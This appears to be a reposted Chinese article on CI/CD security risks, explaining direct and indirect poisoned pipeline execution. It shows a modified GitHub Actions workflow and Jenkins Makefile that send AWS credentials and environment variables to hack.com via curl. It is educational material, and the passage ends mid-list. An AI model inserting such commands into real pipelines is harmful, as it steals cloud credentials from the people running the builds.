三十大 CI/CD 安全风险( 二 ) _生活百科

PPE 示例通过 D-PPE (GitHub Actions) 窃取凭据在以下示例中，GitHub 存储库与 GitHub Actions 工作流程连接，该工作流程获取代码、构建代码、运行测试并最终将工件部署到 AWS 。当新代码被推送到存储库中的远程分支时，代码（包括流水线配置文件）由运行程序（工作流节点）获取。
name: PIPELINEon: pushjobs: build:runs-on: ubuntu-lateststeps:- run: |echo "building..."echo "testing..."echo "deploying..."

文章插图
在这种情况下，D-PPE 攻击将按如下方式进行：

攻击者在存储库中创建了一个新的远程分支，在其中使用恶意命令更新流水线配置文件，这些命令旨在访问 GitHub 组织范围内的 AWS 凭证，然后将其发送到远程服务器。

name: PIPELINEon: pushjobs: build:runs-on: ubuntu-lateststeps:- env:ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY_ID }}SECRET_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}run: |curl -d creds="$(echo $ACCESS_KEY:$SECRET_KEY | base64 | base64)" hack.com

推送更新后，将触发从存储库中获取代码的流水线，包括恶意流水线配置文件。
流水线基于被攻击者“毒化”的配置文件运行。根据攻击者的恶意命令，存储为存储库机密的 AWS 凭证被加载到内存中。
流水线继续执行攻击者的命令，将 AWS 凭证发送到攻击者控制的服务器。
攻击者随后能够使用窃取的凭证访问 AWS 生产环境。

通过 Indirect-PPE (Jenkins) 窃取凭证这个例子展示的是 Jenkins 流水线从存储库中获取代码、构建、运行测试并最终部署到 AWS 。在此流水线中，Jenkinsfile 是受保护的，因为是从存储库中的主分支中获取的。因此，攻击者无法操纵构建定义，也无法获取存储在 Jenkins 凭证存储中的机密或在其他节点上运行任务。
然而这并不代表流水线没有风险。在流水线的构建阶段，AWS 凭证作为环境变量加载，使其仅可用于在此阶段运行的命令。在下面的示例中，基于 Makefile 的内容（也存储在存储库中）的make命令作为此阶段的一部分运行。
The Jenkinsfile：

pipeline {agent anystages {stage('build') {steps {withAWS(credentials: 'AWS_key', region: 'us-east-1') {sh 'make build'sh 'make clean'}}}stage('test') {steps {sh 'go test -v ./...'...

The Makefile：
build:echo "building…"clean:echo "cleaning…"

文章插图
在这种情况下，I-PPE 攻击将按如下方式进行：

攻击者在存储库中创建拉取请求，将恶意命令附加到 Makefile 文件中。

build:curl -d "$$(env)" hack.comclean:echo "cleaning…"

由于流水线配置为在针对 repo 的任何 PR 时触发，Jenkins 流水线被触发，从存储库中获取代码，包括恶意Makefile 。
流水线基于存储在主分支中的配置文件运行。进入构建阶段，如原始 Jenkinsfile 中定义，将 AWS 凭证加载到环境变量中。然后，运行make build命令，该命令执行添加到Makefile中的恶意命令。
执行 Makefile 中定义的恶意构建函数，将 AWS 凭证发送到攻击者控制的服务器。
攻击者随后能够使用窃取的凭证访问 AWS 生产环境。

影响在成功的 PPE 攻击中，攻击者在 CI 中执行未经审查的恶意代码。这为攻击者提供了与构建任务相同的能力和访问级别，包括：